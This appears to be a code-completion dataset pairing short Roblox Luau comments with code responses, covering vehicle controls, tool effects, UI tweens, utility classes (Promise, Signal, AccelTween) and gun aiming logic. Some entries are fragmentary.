Response:
mouse.KeyDown:connect(function (key)
    key = string.lower(key)
			if key == "k" then --Camera controls
			        if cam == ("car") then
						cam = ("first")
			        elseif cam == ("first") then
						Camera.CameraSubject = carSeat
						Camera.CameraType = ("Custom")
						cam = ("car")
						Camera.FieldOfView = 70
					end
			elseif key == "z" then
				left = not left
				LeftInd()
			elseif key == "c" then
				right = not right
				RightInd()
			elseif key:byte() == 48 then
			script.Parent.rBrake.Value = true
			elseif key == "l" then
				if carSeat.Lights.Value == false then
					carSeat.Lights.Value = true
					carSeat.Parent.Body.Lights.Lights.HL.L.Enabled = true
					carSeat.Parent.Body.Lights.Lights.HL.G.Enabled = true
					carSeat.Parent.Body.Lights.Lights.HR.L.Enabled = true
					carSeat.Parent.Body.Lights.Lights.HR.G.Enabled = true
				else
					carSeat.Lights.Value = false
					carSeat.Parent.Body.Lights.Lights.HL.L.Enabled = false
					carSeat.Parent.Body.Lights.Lights.HL.G.Enabled = false
					carSeat.Parent.Body.Lights.Lights.HR.L.Enabled = false
					carSeat.Parent.Body.Lights.Lights.HR.G.Enabled = false
				end
			elseif key == "[" then -- volume down
				if carSeat.Parent.MP.Volume.Value > 0 then
					carSeat.Parent.MP.Volume.Value = carSeat.Parent.MP.Volume.Value - 2
				end
			elseif key == "]" then -- volume up
				if carSeat.Parent.MP.Volume.Value < 100 then
					carSeat.Parent.MP.Volume.Value = carSeat.Parent.MP.Volume.Value + 2
				end
		end
end)
mouse.KeyUp:connect(function(key)
	if key:byte() == 48 then
		script.Parent.rBrake.Value = false
	end
end)
HUB.Limiter.MouseButton1Click:connect(function() --startup
 if carSeat.IsOn.Value == false then
	carSeat.IsOn.Value = true
	carSeat.Startup:Play()
else
	carSeat.IsOn.Value = false
end
end)

standButton.MouseButton1Click:connect(function()
        if ks.CanCollide == false then
			carSeat.Parent.Body.KW.Nein.Transparency = 0
			carSeat.Parent.Body.KW.lamfo.Transparency = 0
			ks.CanCollide = true
        elseif ks.CanCollide == true then
			carSeat.Parent.Body.KW.Nein.Transparency = 1
			carSeat.Parent.Body.KW.lamfo.Transparency = 1
			ks.CanCollide = false
        end
end)
function LeftInd()
	if left == true then
		repeat
			carSeat.Parent.Body.Lights.L.G.Enabled = true
			carSeat.Parent.Body.Lights.L2.G.Enabled = true
			carSeat.Parent.Body.Lights.Lights.L.G.Enabled = true
			script.Parent.Indicator:Play()
			script.Parent.HUB.Left.Visible = true
			wait(1/3)
			carSeat.Parent.Body.Lights.L.G.Enabled = false
			carSeat.Parent.Body.Lights.L2.G.Enabled = false
			carSeat.Parent.Body.Lights.Lights.L.G.Enabled = false
			script.Parent.Indicator2:Play()
			script.Parent.HUB.Left.Visible = false
			wait(1/3)
		until left == false
		carSeat.Parent.Body.Lights.L.G.Enabled = false
		carSeat.Parent.Body.Lights.L2.G.Enabled = false
		carSeat.Parent.Body.Lights.Lights.L.G.Enabled = false
	end
end
function RightInd()
	if right == true then
		repeat
			carSeat.Parent.Body.Lights.R.G.Enabled = true
			carSeat.Parent.Body.Lights.R2.G.Enabled = true
			carSeat.Parent.Body.Lights.Lights.R.G.Enabled = true
			script.Parent.Indicator:Play()
			script.Parent.HUB.Right.Visible = true
			wait(1/3)
			carSeat.Parent.Body.Lights.R.G.Enabled = false
			carSeat.Parent.Body.Lights.R2.G.Enabled = false
			carSeat.Parent.Body.Lights.Lights.R.G.Enabled = false
			script.Parent.Indicator2:Play()
			script.Parent.HUB.Right.Visible = false
			wait(1/3)
		until right == false
		carSeat.Parent.Body.Lights.R.G.Enabled = false
		carSeat.Parent.Body.Lights.R2.G.Enabled = false
		carSeat.Parent.Body.Lights.Lights.R.G.Enabled = false
	end
end
game:GetService("RunService").RenderStepped:connect(function()
	if carSeat.IsOn.Value == true and cam == "first" then
		local XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/300)^3,1),-1)
		local YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/300)^3,1),-1)
		local LookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,.1,-.5)*CFrame.Angles(-YLook,-XLook,0))
		Camera.CameraType="Scriptable"
		Camera.CameraSubject=player.Character.Humanoid
		Camera.CoordinateFrame=LookOffset
		player.CameraMaxZoomDistance=0
	else
		Camera.CameraSubject = carSeat
		Camera.CameraType = ("Custom")
		cam = ("car")
		player.CameraMaxZoomDistance=100
	end
end)
script.Parent.CarSeat.Value.ChildRemoved:connect(function(child)
	Camera.CameraType="Custom"
	Camera.CameraSubject=player.Character.Humanoid
	player.CameraMaxZoomDistance=100
	script:Destroy()
end)
while wait() do
	local g = carSeat.BodyGyro
	if W.Value == true and carSeat.Throttle == 1 then
		Whel = 0.4
	elseif W.Value == true and carSeat.Throttle == -1 then
		Whel = -0.4
	else
		Whel = 0
	end
	g.CFrame=CFrame.new(carSeat.CFrame.p,carSeat.CFrame.p+carSeat.CFrame.lookVector)*CFrame.Angles(Whel,(-carSeat.Steer*math.min(carSeat.Velocity.magnitude/(carSeat.MxSpd.Value),diff)*math.pi/4)*(carSeat.Velocity.magnitude/(carSeat.MxSpd.Value/2)),-carSeat.Steer*math.min(carSeat.Velocity.magnitude/(carSeat.MxSpd.Value/2),1)*math.pi/5)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
wait(1);
script.Parent:TweenSize(UDim2.new(-0, -0, -0, -0), "In", "Quad", 0.5, true);
wait(1);
script.Parent:Remove();


Prompt: --<DON'T TOUCH THE SCRIPT UNLESS YOU KNOW WHAT YOU ARE DOING!

Response:
local RS = game:GetService('ReplicatedStorage')
local TS = game:GetService('TweenService')

local Tool = script.Parent
local TextureArray = {}

local Activated = false
local Debounce = false
local Cooldown = 1
local Prop = nil
local LaughAnim = nil

Tool.Activated:Connect(function()
	if not Debounce then
		Debounce = true
		task.delay(Cooldown, function()
			Debounce = false
		end)

		local Character = Tool.Parent

		if not Activated then
			Activated = true

			LaughAnim = Character.Humanoid:LoadAnimation(RS.SharkV4.Laugh)
			LaughAnim:Play()
			Character.HumanoidRootPart.Anchored = true

			Prop = RS.SharkV4.Props.Tail:Clone()
			Prop.Parent = Character

			local Attachment = Instance.new('Attachment')
			Attachment.Parent = Character.HumanoidRootPart
			Attachment.Position = Vector3.new(0,-2.5,0)

			local Wave = RS.SharkV4.Effects.Wave:Clone()
			Wave.Parent = Attachment

			local Smoke = RS.SharkV4.Effects.Smoke:Clone()
			Smoke.Parent = Character.HumanoidRootPart

			local Pixel = RS.SharkV4.Effects.Pixel:Clone()
			Pixel.Parent = Character.HumanoidRootPart

			local Laugh = RS.SharkV4.Sound.Laugh:Clone()
			Laugh.Parent = Character.HumanoidRootPart

			local SmokeSound = RS.SharkV4.Sound.Smoke:Clone()
			SmokeSound.Parent = Character.HumanoidRootPart

			Laugh:Play()

			task.delay(1.6,function()
				Laugh:Destroy()
				task.wait(0.25)
				Character.HumanoidRootPart.Anchored = false
				LaughAnim:Stop()
			end)

			SmokeSound:Play()

			local Tween = TS:Create(SmokeSound, TweenInfo.new(1.5), {Volume = 0})
			Tween:Play()

			Tween.Completed:Connect(function()
				SmokeSound:Destroy()
			end)

			Wave:Emit(2)
			Smoke:Emit(100)
			Pixel:Emit(50)

			for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
				local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
				if Hair then
					TextureArray[Item] = {TextureID = Item.Handle.TextureID, Color = Item.Handle.Color, Material = Item.Handle.Material}
					Item.Handle.Color = Color3.fromRGB(0, 85, 255)
					Item.Handle.TextureID = ''
					Item.Handle.Material = Enum.Material.Neon
				end
			end

		elseif Activated then
			Activated = false

			local Tween = TS:Create(Prop.Handle, TweenInfo.new(0.5), {Transparency = 1})
			Tween:Play()

			Tween.Completed:Connect(function()
				Prop:Destroy()
			end)

			for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
				local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
				if Hair then
					Item.Handle.Color = TextureArray[Item].Color
					Item.Handle.Material = TextureArray[Item].Material
					Item.Handle.TextureID = TextureArray[Item].TextureID
					TextureArray[Item] = nil
				end
			end
		end
	end
end)


Prompt: --since the UI clamps particle size, we have to override in code :(

Response:
local shockwave = script.Parent.ShockwaveLoc.Shockwave
shockwave.Size = NumberSequence.new{
	NumberSequenceKeypoint.new(0, 5), -- (time, value)
	NumberSequenceKeypoint.new(1, 20)
}

local flashPS = script.Parent.BloxSpawnLoc.FlashPS
flashPS.Size = NumberSequence.new{
	NumberSequenceKeypoint.new(0, 2), -- (time, value)
	NumberSequenceKeypoint.new(1, 25)
}


Prompt:
-- ClientRemoteSignal
-- Stephen Leitnick
-- January 07, 2021


Prompt:
--When you are editing the car, make sure that the Left, Right, and Base parts are in a
--straight line, and in the orientation the models comes with, or they won't be where you expect
--them to be at all!

Response: motorSpeed = 0.05 -- a typical number is 0.1 but lower is better if you get weird behavior


Prompt: -- In radian the maximum accuracy penalty

Response: local MaxSpread = 0.07


Prompt:
--[=[
	@interface ServiceClient
	.Server Service
	.[any] any
	@within KnitServer
]=]

Response:
type ServiceClient = {
	Server: Service,
	[any]: any,
}


Prompt: -- (Hat Giver Script - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(1,1.60000002,1)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-0.4,0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: ------Body Variables------

Response:
local myHuman = marine.Humanoid
local myRoot = marine.HumanoidRootPart
local myHead = marine.Head


Prompt: -- Gui Elements

Response:
local PlayerGui = player:FindFirstChild("PlayerGui")
local TopBar = PlayerGui:FindFirstChild("TopBar")
local TimerAndStatus = TopBar:FindFirstChild("TimerAndStatus")
local StatusBar = TimerAndStatus:FindFirstChild("StatusBar")
local GameStatus = StatusBar:FindFirstChild("GameStatus")
local CheckpointFrame = script.Parent


Prompt:
--[[
	Is the given object a Promise instance?
]]

Response:
function Promise.is(object)
	if type(object) ~= "table" then
		return false
	end

	local objectMetatable = getmetatable(object)

	if objectMetatable == Promise then
		-- The Promise came from this library.
		return true
	elseif objectMetatable == nil then
		-- No metatable, but we should still chain onto tables with andThen methods
		return type(object.andThen) == "function"
	elseif
		type(objectMetatable) == "table"
		and type(rawget(objectMetatable, "__index")) == "table"
		and type(rawget(rawget(objectMetatable, "__index"), "andThen")) == "function"
	then
		-- Maybe this came from a different or older Promise library.
		return true
	end

	return false
end
Promise.Is = Promise.is


Prompt:
--[=[
	Sets the current and target position, and sets the velocity to 0.
	@prop pt number
	@within AccelTween
]=]

Response:
function AccelTween:__index(index)
	if AccelTween[index] then
		return AccelTween[index]
	elseif index == "p" then
		local pos, _ = self:_getstate(os.clock())
		return pos
	elseif index == "v" then
		local _, vel = self:_getstate(os.clock())
		return vel
	elseif index == "a" then
		return self._accel
	elseif index == "t" then
		return self._y1
	elseif index == "rtime" then
		local time = os.clock()
		return time < self._t1 and self._t1 - time or 0
	else
		error(("Bad index %q"):format(tostring(index)))
	end
end

function AccelTween:__newindex(index, value)
	if index == "p" then
		self:_setstate(value, nil, nil, nil)
	elseif index == "v" then
		self:_setstate(nil, value, nil, nil)
	elseif index == "a" then
		self:_setstate(nil, nil, value, nil)
	elseif index == "t" then
		self:_setstate(nil, nil, nil, value)
	elseif index == "pt" then
		self:_setstate(value, 0, nil, value)
	else
		error(("Bad index %q"):format(tostring(index)))
	end
end

function AccelTween:_getstate(time)
	if time < (self._t0 + self._t1)/2 then
		local t = time - self._t0
		return self._y0 + t*t/2*self._a0, t*self._a0
	elseif time < self._t1 then
		local t = time - self._t1
		return self._y1 + t*t/2*self._a1, t*self._a1
	else
		return self._y1, 0
	end
end

function AccelTween:_setstate(newpos, newvel, newaccel, newtarg)
	local time = os.clock()
	local pos, vel = self:_getstate(time)
	pos = newpos or pos
	vel = newvel or vel
	self._accel = newaccel or self._accel
	local targ = newtarg or self._y1

	if self._accel*self._accel < 1e-8 then
		self._t0, self._y0, self._a0 = 0, pos, 0
		self._t1, self._y1, self._a1 = math.huge, targ, 0
	else
		local conda = targ < pos
		local condb = vel < 0
		local condc = pos - vel*vel/(2*self._accel) < targ
		local condd = pos + vel*vel/(2*self._accel) < targ
		if conda and condb and condc or not conda and (condb or not condb and condd) then
			self._a0 = self._accel
			self._t1 = time + ((2*vel*vel + 4*self._accel*(targ - pos))^0.5 - vel)/self._accel
		else
			self._a0 = -self._accel
			self._t1 = time + ((2*vel*vel - 4*self._accel*(targ - pos))^0.5 + vel)/self._accel
		end
		self._t0 = time - vel/self._a0
		self._y0 = pos - vel*vel/(2*self._a0)
		self._y1 = targ
		self._a1 = -self._a0
	end
end

return AccelTween


Prompt: -- METHODS

Response:
function Signal:Fire(...)
	self._bindableEvent:Fire(...)
end

function Signal:Connect(handler)
	if not (type(handler) == "function") then
		error(("connect(%s)"):format(typeof(handler)), 2)
	end

	local connection = self._bindableEvent.Event:Connect(function(...)
		handler(...)
	end)

	-- If ``true`` is passed for trackConnectionsChanged within the constructor this will track the amount of active connections
	if self.connectionsChanged then
		self.totalConnections += 1
		self.connectionsChanged:Fire(1)
		local heartbeatConection
		heartbeatConection = game:GetService("RunService").Heartbeat:Connect(function()
			if connection.Connected == false then
				heartbeatConection:Disconnect()
				if self.connectionsChanged then
					self.totalConnections -= 1
					self.connectionsChanged:Fire(-1)
				end
			end
		end)
	end

	return connection
end

function Signal:Wait()
	local args = self._bindableEvent.Event:Wait()
	return unpack(args)
end

function Signal:Destroy()
	if self._bindableEvent then
		self._bindableEvent:Destroy()
		self._bindableEvent = nil
	end
	if self.connectionsChanged then
		self.connectionsChanged:Fire(-self.totalConnections)
		self.connectionsChanged:Destroy()
		self.connectionsChanged = nil
		self.totalConnections = 0
	end
end
Signal.destroy = Signal.Destroy
Signal.Disconnect = Signal.Destroy
Signal.disconnect = Signal.Destroy

return Signal


Prompt:
--[=[
	Apply an inverse square intensity multiplier to the given vector based on the
	distance away from some source. This can be used to simulate shake intensity
	based on the distance the shake is occurring from some source.

	For instance, if the shake is caused by an explosion in the game, the shake
	can be calculated as such:

	```lua
	local function Explosion(positionOfExplosion: Vector3)

		local cam = workspace.CurrentCamera
		local renderPriority = Enum.RenderPriority.Last.Value

		local shake = Shake.new()
		-- Set shake properties here

		local function ExplosionShake(pos: Vector3, rot: Vector3)
			local distance = (cam.CFrame.Position - positionOfExplosion).Magnitude
			pos = Shake.InverseSquare(pos, distance)
			rot = Shake.InverseSquare(rot, distance)
			cam.CFrame *= CFrame.new(pos) * CFrame.Angles(rot.X, rot.Y, rot.Z)
		end

		shake:BindToRenderStep("ExplosionShake", renderPriority, ExplosionShake)

	end
	```
]=]

Response:
function Shake.InverseSquare(shake: Vector3, distance: number): Vector3
	if distance < 1 then
		distance = 1
	end
	local intensity = 1 / (distance * distance)
	return shake * intensity
end


Prompt: --// NPC

Response: local NPCS = game.Workspace:WaitForChild("NPCS")


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local l__Character__2 = l__LocalPlayer__1.Character;
local l__Gas__3 = l__LocalPlayer__1:WaitForChild("Data"):WaitForChild("Gas");
local l__Gas__4 = workspace:WaitForChild("Gas");
ts = game:GetService("TweenService");
ti2 = TweenInfo.new(3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out, 0, false, 0);
while wait(0.4) do
	for v5, v6 in pairs(l__Gas__4:GetDescendants()) do
		if v6.ClassName == "Part" then
			v6.Transparency = 1;
			local v7 = false;
			for v8, v9 in pairs((workspace:FindPartsInRegion3WithWhiteList(Region3.new(v6.Position - v6.Size / 2, v6.Position + v6.Size / 2), game.Players.LocalPlayer.Character:GetDescendants()))) do
				if not v9:FindFirstAncestor(game.Players.LocalPlayer.Name) then
					v7 = false;
					break;
				end;
				v7 = true;
			end;
			if v7 == true and l__Character__2.Human.Value == true then
				l__Gas__3.Value = l__Gas__3.Value - 0.1;
			end;
		end;
	end;
end;


Prompt: -- Connect 'MoveToFinished' event to the 'onWaypointReached' function

Response: human.MoveToFinished:Connect(onWaypointReached)


Prompt: --Made by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
ContentProvider = game:GetService("ContentProvider")

Animations = {}

ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")

ClientControl.OnClientInvoke = (function(Mode, Value)
	if Mode == "PlayAnimation" and Humanoid then
		for i, v in pairs(Animations) do
			if v.Animation == Value.Animation then
				v.AnimationTrack:Stop()
				table.remove(Animations, i)
			end
		end
		local AnimationTrack = Humanoid:LoadAnimation(Value.Animation)
		table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack})
		AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed)
	elseif Mode == "StopAnimation" and Value then
		for i, v in pairs(Animations) do
			if v.Animation == Value.Animation then
				v.AnimationTrack:Stop()
				table.remove(Animations, i)
			end
		end
	elseif Mode == "Preload" and Value then
		ContentProvider:Preload(Value)
	elseif Mode == "PlaySound" and Value then
		Value:Play()
	elseif Mode == "StopSound" and Value then
		Value:Stop()
	elseif Mode == "MousePosition" then
		return PlayerMouse.Hit.p
	end
end)

function InvokeServer(Mode, Value)
	pcall(function()
		local ServerReturn = ServerControl:InvokeServer(Mode, Value)
		return ServerReturn
	end)
end

function CheckIfAlive()
	return (Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0)
end

function Equipped(Mouse)
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	if not CheckIfAlive() then
		return
	end
	PlayerMouse = Player:GetMouse()
	Mouse.Button1Down:connect(function()
		InvokeServer("MouseClick", {Down = true})
	end)
	Mouse.Button1Up:connect(function()
		InvokeServer("MouseClick", {Down = false})
	end)
	Mouse.KeyDown:connect(function(Key)
		InvokeServer("KeyPress", {Key = Key, Down = true})
	end)
	Mouse.KeyUp:connect(function(Key)
		InvokeServer("KeyPress", {Key = Key, Down = false})
	end)
end

function Unequipped()
	for i, v in pairs(Animations) do
		if v and v.AnimationTrack then
			v.AnimationTrack:Stop()
		end
	end
	Animations = {}
end

Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)


Prompt:
-- ROBLOX deviation START: No Luau support for numeric literal types
-- export type EventPriority = 0 | 1 | 2;

Response: export type EventPriority = number


Prompt: ---Steering

Response:
function Steering()
		local mode=0

		local TUpdate=tick()
		local Steer=0
		local CSteer=0
		local CSteerTol=3
		local CSteerPerc=.3
		local CPos=0
		local KRef=0
		local KTime=1

		local FoAngle=math.rad(34)
		local FiAngle=math.rad(37)
		local RoAngle=math.rad(1)
		local RiAngle=math.rad(1)
		local RTime=.25
		local MWidth=400
		local MExp=2
		local KAdj=.7
		local KDecay=350
		local KDExp=1.65
		local DZone=50

		local CExp=2
		local CDZone=.1

		local function UpdateSteer()
			local fl=FoAngle
			local fr=FiAngle
			local rl=RoAngle
			local rr=RiAngle
			if CPos<0 then
				fl=FiAngle
				fr=FoAngle
				rl=RiAngle
				rr=RoAngle
			end

			for i,v in pairs(car.Wheels.FL:GetChildren()) do
				--v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*-fl,0)
				v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*-fl,0)
				local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector
				v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*50000
			end
			for i,v in pairs(car.Wheels.FR:GetChildren()) do
				--v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*-fr,0)
				v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*-fr,0)
				local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector
				v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*50000
			end
			for i,v in pairs(car.Wheels.RL:GetChildren()) do
				--v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*rl,0)
				v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*rl,0)
				local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector
				v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*00000
			end
			for i,v in pairs(car.Wheels.RR:GetChildren()) do
				--v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*rr,0)
				v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*rr,0)
				local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector
				v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*00000
			end
			GSteer=CPos
		end

		local function getSteer()
			--local rot=(car.DriveSeat.RotVelocity*(car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector)/CSteerTol
			--local CS=rot.x+rot.y+rot.z
			--CSteer=(CS+Steer)*(1-math.abs(Steer))

			local SLimit=1
			if GMode==0 then
				Steer=car.DriveSeat.Steer
			elseif GMode==1 then
				--SLimit=0
				local MPos=mouse.X-(mouse.ViewSizeX/2)
				if math.abs(MPos)>DZone then
					local sPos=1
					if MPos<0 then sPos=-1 end
					Steer=sPos*math.abs(math.max(-1,math.min(1,(MPos-(DZone*sPos))/(MWidth-DZone)))^MExp)
				else
					Steer=0
				end
			else
				--SLimit=0
				if math.abs(LStickX)>CDZone then
					local sPos=1
					if LStickX<0 then sPos=-1 end
					Steer=sPos*math.abs(math.max(-1,math.min(1,((LStickX-CDZone))/(1-CDZone)))^CExp)
				else
					Steer=0
				end
			end

			KRef=CPos
			KTime=math.abs(KRef-Steer)*RTime
			if KTime~=0 then
				local t=math.min(1,math.min(tick()-TUpdate,KTime)/KTime)
				CPos=((KRef*(1-t))+(Steer*t))*(1-(KAdj*math.min(1,math.abs((car.DriveSeat.Velocity.Magnitude/KDecay)^KDExp),SLimit)))
			end
			UpdateSteer()
			TUpdate=tick()
		end

		--run:BindToRenderStep("Steer",Enum.RenderPriority.Last.Value,getSteer)
		--table.insert(Binded,"Steer")
		--table.insert(Binded,getSteer)
		table.insert(LoopRun,getSteer)

end
Steering()


Response:
if 	script.Parent.Parent.Parent.IsOn.Value then
	script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true)
end

script.Parent.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.Parent.IsOn.Value then
		script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true)
	end
end)

	function turn()
		if hinge.DesiredAngle == 0 then

			car.Misc.Wiper2.WiperEvent:FireServer(1)
		else

			car.Misc.Wiper2.WiperEvent:FireServer(0)
		end
	end

	script.Parent.MouseButton1Click:connect(function()
		turn()
	end)

	local uis = game:GetService("UserInputService")
	uis.InputBegan:connect(function(i,f)
		if not f then
			if i.KeyCode == Enum.KeyCode.N then
				turn()
			end
		end
	end)


Prompt: --!strict

Response:
local RunService = game:GetService("RunService")

local model = script.Parent
local cloth = model:FindFirstChild("Plane")

local physicsParts = model:WaitForChild("Parts")
local A4P = physicsParts:FindFirstChild("A4")

local bones : {Bone} = {}

local function indexBones()
	for iterator, bone : Bone in cloth:GetDescendants() do
		if bone:IsA("Bone") then
			table.insert(bones, bone)
		end
		if iterator%50 == 0 then
			task.wait()
		end
	end
end
indexBones()


Prompt: --------------------[ ADS FUNCTIONS ]-------------------------------------------------

Response:
function aimGun()
	if Reloading or Knifing or isCrawling or (not S.canADS) then return end

	mouseSensitivity = aimSensitivity

	for _, Plugin in pairs(Plugins.Aimed) do
		spawn(function()
			Plugin()
		end)
	end

	Aimed = true
	Aiming = true
	Running = false
	spreadZoom = "Aimed"
	baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
	if S.aimSettings.Anim then
		local currentFOV = Cam.FieldOfView
		local currentTrans = Scope.BackgroundTransparency
		tweenJoint(LWeld, armC0[1], S.aimedC1.leftArm, Sine, S.aimSettings.Speed)
		tweenJoint(RWeld, armC0[2], S.aimedC1.rightArm, Sine, S.aimSettings.Speed)
		tweenJoint(LWeld2, nil, CF(), Sine, S.aimSettings.Speed)
		tweenJoint(RWeld2, nil, CF(), Sine, S.aimSettings.Speed)
		tweenJoint(Grip, nil, aimedGripCF, Sine, S.aimSettings.Speed)
		tweenJoint(headWeld2, nil, CF(0, -0.5, 0) * CFANG(0, 0, S.aimSettings.headTilt) * CF(0, 0.5, 0), Sine, S.aimSettings.Speed)
		local t0 = tick()
		while true do
			RS.RenderStepped:wait()
			local Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90
			if (not Aimed) then break end
			if (not Selected) then break end
			aimAlpha = Sine(Alpha)
			aimHeadOffset = headOffset.X * aimAlpha
			jumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha)
			translationDivisor = numLerp(7, 20, aimAlpha)
			rotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha)
			armTiltMultiplier = numLerp(1, 0.2, aimAlpha)
			Cam.FieldOfView = numLerp(currentFOV, S.aimSettings.FOV, aimAlpha)
			if S.guiScope then
				Scope.BackgroundTransparency = numLerp(currentTrans, 0, aimAlpha)
			end
			if Alpha == 90 then break end
		end
	else
		LWeld.C0, LWeld.C1 = armC0[1], S.aimedC1.leftArm
		RWeld.C0, RWeld.C1 = armC0[2], S.aimedC1.rightArm
		LWeld2.C1, RWeld2.C1 = CF(), CF()
		animWeld.C0 = CF(0, 1, 0)
		Grip.C1 = aimedGripCF
		headWeld2.C1 = CF(0, -0.5, 0) * CFANG(0, 0, S.aimSettings.headTilt) * CF(0, 0.5, 0)
		aimAlpha = 1
		aimHeadOffset = headOffset.X
		jumpAnimMultiplier = S.fallSettings.aimEffect
		translationDivisor = 20
		rotationMultiplier = S.momentumSettings.Amplitude.Aimed
		armTiltMultiplier = 0.2
		Cam.FieldOfView = S.aimSettings.FOV
	end
	Aiming = (not Aimed)
	if (not Aiming) and S.guiScope then
		spawn(function()
			scopeSteady.Visible = true
			Scope.BackgroundTransparency = 1
			scopeMain.Visible = true

			if armTable then
				for _, Obj in pairs(armTable[1].Model:GetChildren()) do
					if Obj:IsA("BasePart") then
						Obj.LocalTransparencyModifier = 1
					end
				end
				for _, Obj in pairs(armTable[2].Model:GetChildren()) do
					if Obj:IsA("BasePart") then
						Obj.LocalTransparencyModifier = 1
					end
				end
			elseif armModel then
				for _, Obj in pairs(armModel:GetChildren()) do
					if Obj:IsA("BasePart") then
						Obj.LocalTransparencyModifier = 1
					end
				end
			end
			for _, Obj in pairs(playerFolder:GetChildren()) do
				if Obj:IsA("BasePart") then
					Obj.LocalTransparencyModifier = 1
				end
			end
			for _, Obj in pairs(Gun:GetChildren()) do
				if Obj:IsA("BasePart") then
					Obj.LocalTransparencyModifier = 1
				end
			end
		end)
		spawn(function()
			local camAng = 0
			local idleCam = function()
				return V3(
					RAD(SIN(camAng * S.scopeSettings.Frequency.Idling)) * stanceSway * camSway * S.scopeSettings.Amplitude.Idling,
					RAD(SIN(camAng * 5 / 2 * S.scopeSettings.Frequency.Idling)) * stanceSway * camSway * S.scopeSettings.Amplitude.Idling * 0.75,
					0
				)
			end
			local walkCam = function()
				return V3(
					RAD(SIN(camAng * S.scopeSettings.Frequency.Walking)) * camSway * stanceSway * S.scopeSettings.Amplitude.Walking,
					RAD(SIN(camAng * 5 / 2 * S.scopeSettings.Frequency.Walking)) * camSway * stanceSway * S.scopeSettings.Amplitude.Walking * 0.75,
					0
				)
			end
			while Aimed do
				local dt = RS.RenderStepped:wait()
				camOffsets.guiScope.Rot = (Sine(idleAlpha) * idleCam()) + (Sine(walkAlpha) * walkCam())
				camAng = camAng + RAD(105 * dt) * stanceSway * camSway
			end
		end)
	end
end

function unAimGun(Exception)
	if (not S.canADS) then return end

	mouseSensitivity = S.sensitivitySettings.Default

	for _, Plugin in pairs(Plugins.UnAimed) do
		spawn(function()
			Plugin()
		end)
	end

	if S.guiScope then
		spawn(function()
			if armTable then
				for _, Obj in pairs(armTable[1].Model:GetChildren()) do
					if Obj:IsA("BasePart") then
						Obj.LocalTransparencyModifier = 0
					end
				end
				for _, Obj in pairs(armTable[2].Model:GetChildren()) do
					if Obj:IsA("BasePart") then
						Obj.LocalTransparencyModifier = 0
					end
				end
			elseif armModel then
				for _, Obj in pairs(armModel:GetChildren()) do
					if Obj:IsA("BasePart") then
						Obj.LocalTransparencyModifier = 0
					end
				end
			end
			for _, Obj in pairs(playerFolder:GetChildren()) do
				if Obj:IsA("BasePart") then
					Obj.LocalTransparencyModifier = 0
				end
			end
			for _, Obj in pairs(Gun:GetChildren()) do
				if Obj:IsA("BasePart") then
					Obj.LocalTransparencyModifier = 0
				end
			end
		end)
	end

	if (not Exception) then
